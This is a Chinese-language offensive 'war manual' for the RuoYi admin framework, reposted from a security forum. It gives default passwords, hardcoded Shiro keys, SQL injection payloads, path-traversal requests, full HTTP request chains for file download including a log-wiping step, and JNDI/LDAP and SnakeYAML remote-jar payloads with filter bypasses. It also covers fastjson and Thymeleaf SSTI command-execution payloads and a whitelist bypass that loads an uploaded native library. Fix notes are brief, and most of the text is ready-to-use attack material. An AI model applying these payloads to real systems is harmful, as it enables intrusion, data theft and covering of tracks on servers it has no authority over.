攻防实战之若依(RuoYi)框架漏洞战争手册
原文首发在:奇安信攻防社区
https://forum.butian.net/share/4328
当你在用若依时,黑客已经在用Shiro默认密钥弹你的Shell;当你还在纠结分页查询,攻击者已通过SQL注入接管数据库;而你以为安全的定时任务,不过是他们拿捏服务器的玩具。这份手册,带你用渗透的视角,解剖若依的每一处致命弱点——因为真正的安全,始于知晓如何毁灭它。
0x00 前言
简介
Ruoyi(若依)是一款基于Spring Boot和Vue.js开发的快速开发平台。它提供了许多常见的后台管理系统所需的功能和组件,包括权限管理、定时任务、代码生成、日志管理等。Ruoyi的目标是帮助开发者快速搭建后台管理系统,提高开发效率。
若依有很多版本,其中使用最多的是Ruoyi单应用版本(RuoYi),Ruoyi前后端分离版本(RuoYi-Vue),Ruoyi微服务版本(RuoYi-Cloud),Ruoyi移动版本(RuoYi-App)。
配合ruoyi的服务:
alibaba druid alibaba nacos spring redis mysql minio fastjson shiro swagger-ui.html mybatis
搜索语法
FOFA:
(icon_hash="-1231872293" || icon_hash="706913071")
Hunter:
web.body="若依后台管理系统"
环境搭建
新建文件夹,拉起ruoyi源码
git clone https://gitee.com/y_project/RuoYi
cd RuoYi 切换版本 git tag -l 切换 git checkout v4.5.1
接下来用idea搭建的
mysql正常用phpstudy搭建就行
日志存放路径需要修改
配置mysql
启动即可,默认端口80
0x01 弱口令
用户:admin ruoyi druid 密码:123456 admin druid admin123 admin888
0x02 Shiro默认密钥
漏洞简介
若依默认使用shiro组件,所以可以试试shiro经典的rememberMe漏洞来getshell。
影响版本
RuoYi<V-4.6.2
漏洞复现
在配置文件中,能够看到shiro的密钥是在配置文件中的
漏洞利用工具地址
https://github.com/SummerSec/ShiroAttack2
- RuoYi-4.2版本使用的是shiro-1.4.2在该版本和该版本之后都需要勾选AES GCM模式。
RuoYi 版本号 | 对象版本的默认AES密钥 |
---|---|
4.6.1-4.3.1 | zSyK5Kp6PZAAjlT+eeNMlg== |
3.4-及以下 | fCq+/xW488hMTCD+cmJ3aQ== |
- RuoYi-4.6.2版本开始就使用随机密钥的方式,而不使用固定密钥,若要使用固定密钥需要开发者自己指定密钥,因此4.6.2版本以后,在没有获取到密钥的请情况下无法再进行利用。
0x03 SQL注入
注入点1 /role/list接口 (<V-4.6.2)
版本同上4.5.1
首先从源码分析一波
Mybatis配置一般用#{},类似PreparedStatement的占位符效果,可以防止SQL注入。RuoYi则是采用了${}造成了SQL注入
跳转
解释一下 ${params.dataScope}
${params.dataScope}这段代码是MyBatis的动态SQL之一,主要用于在SQL查询中嵌入外部定义的字符串或参数。这里的${...}语法表示取出params对象中名为dataScope的属性值,并将其直接嵌入到SQL语句中。
例如,在一个基于角色权限管理的系统中,不同的用户可能有权限查看不同的数据记录。管理员可能可以查看所有部门的记录,而普通用户只能查看自己部门的记录。在这种情况下,dataScope的值可以是一个根据用户角色动态生成的SQL片段,如"AND dept_id IN (SELECT dept_id FROM user_dept_access WHERE user_id = #{userId})",用以限定查询结果只包含特定部门的用户信息。
可以看到,在查询的时候,user的属性params是map,在xml中,将dataScope拼接到sql语句后
进入mapper层
跳转到上级
进入role查看信息
查看功能
params
根据路径
执行代码
¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e))
注入点2 /role/export (<V-4.6.2)
注入点3 /user/list (<V-4.6.2)
注入点4 /user/list (<V-4.6.2)
注入点5 /dept/list (<V-4.6.2)
注入点6 /role/authUser/allocatedList (<V-4.6.2)
注入点7 /role/authUser/unallocatedList
注入点8 /dept/edit (<V-4.6.2)
DeptName=xxxxxxxxxxx&DeptId=100&ParentId=555&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat(0,(select user()))));#
注入点9 /tool/gen/createTable(V-4.7.1-V-4.7.5)
参考
https://blog.takake.com/posts/7219/#2-3-10-%E6%80%BB%E7%BB%93
0x04 CNVD-2021-01931任意文件下载
漏洞简介
登录后台后可以读取服务器上的任意文件。
影响版本:
RuoYi<4.5.1
漏洞复现
用4.5.0版本
直接搜索关键字,download找到具体的controller
路径
/common/download/resource
/common/download/resource?resource=/profile/../../../../etc/passwd /common/download/resource?resource=/profile/../../../../Windows/win.ini
0x05 CVE-2023-27025 若依任意文件下载
漏洞简介
该漏洞是若依(RuoYi)4.7.6 版本中存在的 权限绕过 + 任意文件下载 组合漏洞。攻击者通过后台管理接口添加恶意定时任务,修改系统配置文件路径,绕过下载功能的白名单限制,最终实现任意文件下载。漏洞本质是 权限控制缺失(允许低权限用户操作敏感接口)和 路径校验不严(未对动态修改的配置路径进行二次校验)的综合结果。
影响版本
- 若依(RuoYi)<= 4.7.6
利用条件
-
权限要求:
- 攻击者需获取管理员 Cookie(如 JSESSIONID)或存在其他权限绕过漏洞。
- 若后台接口未授权即可访问,则漏洞危害升级为“未授权任意文件下载”。
-
系统配置:
- 目标系统启用了定时任务模块(默认开启)。
漏洞复现
添加任务绕过白名单(自定义下载文件路径)
POST /monitor/job/add HTTP/1.1 Host: 10.40.107.67 Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=7c625b5d-cd39-49fd-87db-bbb64c596c1b User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-type: application/x-www-form-urlencoded Content-Length: 214 Connection: close createBy=admin&jobId=161&jobName=test111&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('/Users/apple/Desktop/Locks/javafx.txt')&cronExpression=0%2F10+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=
- 通过调用 ruoYiConfig.setProfile() 方法,将系统配置文件路径动态修改为攻击者指定的路径(如 /Users/apple/Desktop/Locks/javafx.txt)。
- 此操作绕过了下载功能原本的“固定目录白名单”限制,将下载路径指向自定义位置。
执行定时任务(触发配置修改)
POST /monitor/job/run HTTP/1.1 Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=7c625b5d-cd39-49fd-87db-bbb64c596c1b User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 10.40.107.67 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-type: application/x-www-form-urlencoded Content-Length: 9 Connection: close jobId=117
- 立即执行 jobId=117 对应的定时任务,触发 ruoYiConfig.setProfile() 方法调用,完成配置文件路径的修改。
- 修改后,系统将从新的配置路径(攻击者指定路径)读取文件。
清理任务日志(擦除攻击痕迹)
POST /monitor/jobLog/clean HTTP/1.1 Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=7c625b5d-cd39-49fd-87db-bbb64c596c1b User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 10.40.107.67 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-type: application/x-www-form-urlencoded Content-Length: 0 Connection: close
- 删除任务执行日志,避免管理员发现恶意任务记录。
- 此步骤非漏洞必要环节,但常用于隐蔽攻击行为。
触发任意文件下载
GET /common/download/resource?resource=2.txt HTTP/1.1 Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=7c625b5d-cd39-49fd-87db-bbb64c596c1b User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 10.40.107.67 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: close
- 下载功能仅校验“配置文件中的路径”,未对动态修改后的路径进行二次白名单校验。
bypass
对路径参数进行 URL 编码或 Unicode 编码,绕过 WAF 检测:
invokeTarget=ruoYiConfig.setProfile('%2F%65%74%63%2F%70%61%73%73%77%64')
修复
-
官方补丁:
- 升级若依至 4.7.6 以上版本,官方已修复权限校验和路径白名单问题。
-
代码级修复:
- 权限校验:对 /monitor/job/add 等后台接口添加严格的角色权限控制。
- 方法黑名单:禁止 invokeTarget 参数调用敏感类方法(如 ruoYiConfig.setProfile)。
-
- 路径二次校验:在下载功能中强制校验文件路径是否在合法白名单内。
-
临时缓解:
- 禁用后台任务调度功能,或限制 monitor 模块的访问权限。
- 部署 WAF 拦截包含 ruoYiConfig.setProfile 特征的请求。
0x06 定时任务RCE
由于若依后台计划任务处,对于传入的“调用目标字符串”没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。
0x01 简介
RuoYi 是一个 Java EE 企业级快速开发平台,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap),内置模块如:部门管理、角色用户、菜单及按钮授权、数据权限、系统参数、日志管理、通知公告等。在线定时任务配置;支持集群,支持多数据源,支持分布式事务。
0x02 漏洞概述
若依最新后台定时任务SQL注入可导致RCE漏洞
0x03 影响版本
v4.7.8
0x04 环境搭建
- RuoYi 官网地址:http://ruoyi.vip(opens new window)
- RuoYi 在线文档:http://doc.ruoyi.vip(opens new window)
- RuoYi 源码下载:https://gitee.com/y_project/RuoYi(opens new window)
使用phpstudy启动mysql
创建数据库ry
导入sql到ry数据库中
将ruoyi-admin下的application-druid.yml文件配置数据库账号密码
启动成功
若依漏洞复现环境搭建成功
admin admin123
0x05 漏洞复现
系统监控下定时任务中存在SQL注入漏洞
在补丁中,使用了黑名单和白名单的策略。
SQL注入漏洞点
开始复现
RCE payload
JNDI
javax.naming.InitialContext.lookup('ldap://127.0.0.1:1389/deserialJackson')
payload中可以执行反弹shell、漏洞探测、命令执行功能
DNSLOG
javax.naming.InitialContext.lookup('ldap://dnslog')
目标字符串不允许'ldap(s)'调用且不能存在括号,因此我们使用SQL注入加十六进制编码来进行绕过修改
https://www.bejson.com/convert/ox2str/
6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3132372e302e302e313a313338392f646573657269616c4a61636b736f6e2729
第一步:运行此命令
成功地绕过了它,并成功地执行
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'Hack By 1ue' WHERE job_id = 1;')
|
|
|
|
|
---|---|---|---|---|
分钟 | 小时 | 日 | 月 | 星期 |
* * * * * ?
第二步:
修改执行命令
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'Hack By 1ue' WHERE job_id = 1;')
第三步:
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3132372e302e302e313a313338392f646573657269616c4a61636b736f6e2729 WHERE job_id = 1;')
创建任务
执行一次
执行被修改的任务之前需要开启JNDI
需要下载cckuailong师傅的JNDI-Injection-Exploit-Plus项目(https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases/tag/2.3)。
jdk版本要求1.8
java -jar '.\JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar' -C calc -A 127.0.0.1
执行被修改的1任务
JNDI
javax.naming.InitialContext.lookup('ldap://127.0.0.1:1389/deserialJackson')
payload中可以执行反弹shell、漏洞探测、命令执行功能
DNSLOG
javax.naming.InitialContext.lookup('ldap://dnslog')
目标字符串不允许'ldap(s)'调用且不能存在括号,因此我们使用SQL注入加十六进制编码来进行绕过修改
https://www.bejson.com/convert/ox2str/
0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f7263793870732e646e736c6f672e636e2729
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3132372e302e302e313a313338392f646573657269616c4a61636b736f6e2729 WHERE job_id = 1;')
我们再来试试dnslog
javax.naming.InitialContext.lookup('ldap://rcy8ps.dnslog.cn')
工具使用:
https://github.com/charonlight/RuoYiExploitGUI
0x06 修复方式
1、升级版本。
0x07 bypass
版本4.6.2<=Ruoyi<4.7.2
这个版本采用了黑名单限制调用字符串
- 定时任务屏蔽ldap远程调用
- 定时任务屏蔽http(s)远程调用
- 定时任务屏蔽rmi远程调用
Bypass咱们只需要在屏蔽的协议加上单引号,接着采用之前的方式例如:
org.yaml.snakeyaml.Yaml.load(’!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“**h’t’t’p’:**//127.0.0.1:88/yaml-payload.jar”]]]]’)
0x07 fastjson反序列化
关注两个函数 parse 和 parseObject JSONObject.parse
开启 autotype
params[@type]=org.apache.shiro.jndi.JndiObjectFactory¶ms[resourceName]=ldap://192.168.12.76:1389/09rlhv
ruoyi4.2.0
初看这个数据包一堆参数,有点复杂,根据之前的分析梳理一下,需要的参数是 tplCategory为tree,才能走到fastjson漏洞点,认真梳理一下需要的参数,发现还需要treeCode&treeParentCode参数,这块代码中全局搜索提示的缺少的内容的中文名称即可发现参数名称,填写上即可。
最终简化后的数据包如下
POST /tool/gen/edit HTTP/1.1 Host: 172.16.0.66 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Referer: http://172.16.0.66/tool/gen/edit/6 Cookie: JSESSIONID=c229803b-e147-4853-ae79-df7e04dcd338 X-Requested-With: XMLHttpRequest Accept: application/json, text/javascript, */*; q=0.01 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://172.16.0.66 Accept-Language: zh-CN,zh;q=0.9 Content-Length: 3610 tableName=111111&tableComment=111111&className=111111&functionAuthor=111111&&columns[0].javaType=Long&columns[0].javaField=infoId&&tplCategory=tree&treeCode=111111&treeParentCode=111111&packageName=111111&moduleName=111111&businessName=111111&functionName=111111¶ms[treeCode]=111111¶ms[treeParentCode]=1¶ms[treeName]={"@type":"java.net.Inet4Address","val":"11.hb4r0s.dnslog.cn"}
0x08 SSTI模版注入漏洞
漏洞版本
在4.7.1版本CacheController类中
![[../S24-25赛季-大黑客之路/红队知识学习/assets/Y10 若依ruoyi/file-20250416135654610.png]]
漏洞复现
模板注入漏洞payload:
return内容可控:
${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}::.x
URL路径可控:
${T(java.lang.Runtime).getRuntime().exec("touch test")}::.x
测试上述payload发现返回包返回500,具体情况是Thymeleaf3.0.12版本对这个版本进行了一些先知,防止模板注入漏洞,https://github.com/thymeleaf/thymeleaf/issues/809
以下为防护的情况:
我们将Payload改造一下,如${T (java.lang.Runtime).getRuntime().exec("calc.exe")}。在T和(之间多加几个空格即可,放入数据包中进行测试发现成功弹出计算器。
这里为了方便演示,payload直接贴出来了,大家测试的时候记得进行URL编码。
POST /monitor/cache/getNames HTTP/1.1 fragment=__${T%20(java.lang.Runtime).getRuntime().exec('open -a calculator')}__::.x
cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)}
接口/monitor/cache/getKeys
接口/monitor/cache/getValue
接口/demo/form/localrefresh/task
0x09 若依4.8.0版本计划任务RCE
环境搭建
https://github.com/yangzongzhuan/RuoYi/releases
导入数据库,修改application-druid中的数据库账号密码
修改application中的文件路径及log存放路径
启动成功
漏洞分析
最新版本4.8 Ruoyi 后台⽬前限制
- 规则:invokeTarget 必须包含 com.ruoyi.quartz.task 字符串。
-
- 子字符串匹配漏洞:白名单检查使用 StringUtils.containsAnyIgnoreCase,只要 invokeTarget 中任意位置包含白名单字符串即可,无需完全匹配包名。
- 构造畸形类名:例如 xxx.com.ruoyi.quartz.task.yyy.EvilClass,虽然实际包名不在白名单内,但字符串包含 com.ruoyi.quartz.task,可绕过白名单。
- 绕过思路:
/** * 定时任务白名单配置(仅允许访问的包名,如其他需要可以自行添加) */ publicstaticfinalString[] JOB_WHITELIST_STR = { "com.ruoyi.quartz.task" }; /** * 定时任务违规的字符 */ publicstaticfinalString[] JOB_ERROR_STR = { "java.net.URL", "javax.naming.InitialContext", "org.yaml.snakeyaml", "org.springframework", "org.apache", "com.ruoyi.common.utils.file", "com.ruoyi.common.config", "com.ruoyi.generator" }; }
JOB_WHITELIST_STR 这个也就是com.ruoyi.quartz.task 其实不⽤类名 包含在⾃符串⾥⾯就⾏ 这⾥是invokeTarget⽽不是beanPackageName
- 规则:禁止使用 java.net.URL、org.springframework 等敏感包下的类。
-
- 寻找非黑名单类:利用若依自身依赖或第三方库中未被黑名单覆盖的类。例如:
- 工具类:若依的 com.ruoyi.common.utils 下的某些工具类(需确认是否在 JOB_ERROR_STR 禁止的子包中)。
- 绕过思路:
白名单检查(whiteList 方法)
publicstaticboolean whiteList(String invokeTarget) { String packageName = StringUtils.substringBefore(invokeTarget, "("); int count = StringUtils.countMatches(packageName, "."); if (count > 1) { return StringUtils.containsAnyIgnoreCase(invokeTarget, Constants.JOB_WHITELIST_STR); } Object obj = SpringUtils.getBean(StringUtils.split(invokeTarget, ".")[0]); String beanPackageName = obj.getClass().getPackage().getName(); return StringUtils.containsAnyIgnoreCase(beanPackageName, Constants.JOB_WHITELIST_STR) && !StringUtils.containsAnyIgnoreCase(beanPackageName, Constants.JOB_ERROR_STR); } }
- 漏洞点:当 invokeTarget 的包层级超过1层时(如 a.b.c.method),仅检查是否包含白名单字符串,而非完整包路径。
然后不⽤JOB_ERROR_STR 这个类⾥⾯的 从mvn install 后 从其他包下⾯去寻找可利⽤的类下的⽅法就⾏
需要满⾜以下条件
方法参数解析(getMethodParams)
publicstaticList<Object[]> getMethodParams(String invokeTarget) { String methodStr = StringUtils.substringBetween(invokeTarget, "(", ")"); if (StringUtils.isEmpty(methodStr)) { returnnull; } String[] methodParams = methodStr.split(",(?=([^\"']*[\"'][^\"']*[\"'])*[^\"']*$)"); List<Object[]> classs = new LinkedList<>(); for (int i = 0; i < methodParams.length; i++) { String str = StringUtils.trimToEmpty(methodParams[i]); // String字符串类型,以'或"开头 if (StringUtils.startsWithAny(str, "'", "\"")) { classs.add(newObject[] { StringUtils.substring(str, 1, str.length() - 1), String.class }); } // boolean布尔类型,等于true或者false elseif ("true".equalsIgnoreCase(str) || "false".equalsIgnoreCase(str)) { classs.add(newObject[] { Boolean.valueOf(str), Boolean.class }); } // long长整形,以L结尾 elseif (StringUtils.endsWith(str, "L")) { classs.add(newObject[] { Long.valueOf(StringUtils.substring(str, 0, str.length() - 1)), Long.class }); } // double浮点类型,以D结尾 elseif (StringUtils.endsWith(str, "D")) { classs.add(newObject[] { Double.valueOf(StringUtils.substring(str, 0, str.length() - 1)), Double.class }); } // 其他类型归类为整形 else { classs.add(newObject[] { Integer.valueOf(str), Integer.class }); } } return classs; }
- 限制:参数类型被强制约束为基本类型,无法传递复杂对象。
/** * 执行方法 * * @param sysJob 系统任务 */ publicstaticvoid invokeMethod(SysJob sysJob) throws Exception { String invokeTarget = sysJob.getInvokeTarget(); String beanName = getBeanName(invokeTarget); String methodName = getMethodName(invokeTarget); List<Object[]> methodParams = getMethodParams(invokeTarget); if (!isValidClassName(beanName)) { Object bean = SpringUtils.getBean(beanName); invokeMethod(bean, methodName, methodParams); } else { Object bean = Class.forName(beanName).getDeclaredConstructor().newInstance(); invokeMethod(bean, methodName, methodParams); } }
传递的参数只能是其中的这些类型 通过 , 进⾏分割。substringBetween获取的是() ⾥⾯ 不能继续包含 )了会截断
publicstaticString substringBetween(finalString str, finalString open, finalString close) { if (!ObjectUtils.allNotNull(str, open, close)) { returnnull; } finalint start = str.indexOf(open); if (start != INDEX_NOT_FOUND) { finalint end = str.indexOf(close, start + open.length()); if (end != INDEX_NOT_FOUND) { return str.substring(start + open.length(), end); } } returnnull; }
那我们可以直接去找String 可控到sink 的类就可以了。
这⾥反射的时候还需要注意 需要满⾜ 存在⼀个参构造 且都是public的
Object bean = Class.forName(beanName).getDeclaredConstructor().newInstance();
计划任务分析
根据提交数据包锁定后端路由
调试看一下具体做了什么
前几个都是在判断是否有包含rmi ldap http关键词,禁止对这些协议进行调用
还判断了是否有一些黑名单中的类
进入白名单的判断
提取出调用的类名,判断其中是否包含白名单字符串
白名单字符串为com.ruoyi.quartz.task
注意这里是用正则去匹配的,所以该字符串在任意位置都可以,所以存在可以绕过的可能
后续就会进入正常的j保存计划任务流程
当启动任务时,会调用方法
获取需要调用的类名方法名参数值
在获取方法参数时进行了处理,只允许为字符串/布尔/长整/浮点/整形,无法传递类对象
接着会实例化该类,反射调用其方法
该方法为public修饰
我们想要利用需要达成的是
- 使用的类不在黑名单中
- 要存在com.ruoyi.quartz.task字符串
- 不可以使用rmi ldap http协议
文件上传
而在ruoyi中存在一个文件上传点
我们可以随便上传一个文件看看
那么我们可以上传一个名字包含com.ruoyi.quartz.task字符串的文件
漏洞复现
在java中存在一种机制叫做JNI,可以通过加载外部链接库,从而执行其中的<font style="color:rgba(0, 0, 0, 0.85);">构造函数</font>
而com.sun.glass.utils.NativeLibLoader的loadLibrary方法就可以去加载链接库,也是public修饰
POST /common/upload HTTP/1.1 Host: 10.40.107.67 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=b414f17a-7363-47d9-b164-3d0532a09b1c x-forwarded-for: 127.0.0.1 Connection: close Content-Type: multipart/form-data; boundary=00content0boundary00 Content-Length: 167 --00content0boundary00 Content-Disposition: form-data; name="file"; filename="com.ruoyi.quartz.task.txt" Content-Type: image/jpg success --00content0boundary00--
cat calc.c #include <stdlib.h> __attribute__((constructor)) staticvoid run() { system("open -a Calculator"); }
POST /common/upload HTTP/1.1 Host: 10.40.107.67 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=b414f17a-7363-47d9-b164-3d0532a09b1c x-forwarded-for: 127.0.0.1 Connection: close Content-Type: multipart/form-data; boundary=00content0boundary00 Content-Length: 167 --00content0boundary00 Content-Disposition: form-data; name="file"; filename="com.ruoyi.quartz.task.txt" Content-Type: image/jpg 二进制恶意代码 --00content0boundary00--
注意他会自动在后面添加dylib等后缀,在不同的系统中可能有不同的后缀,并且要注意架构问题
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END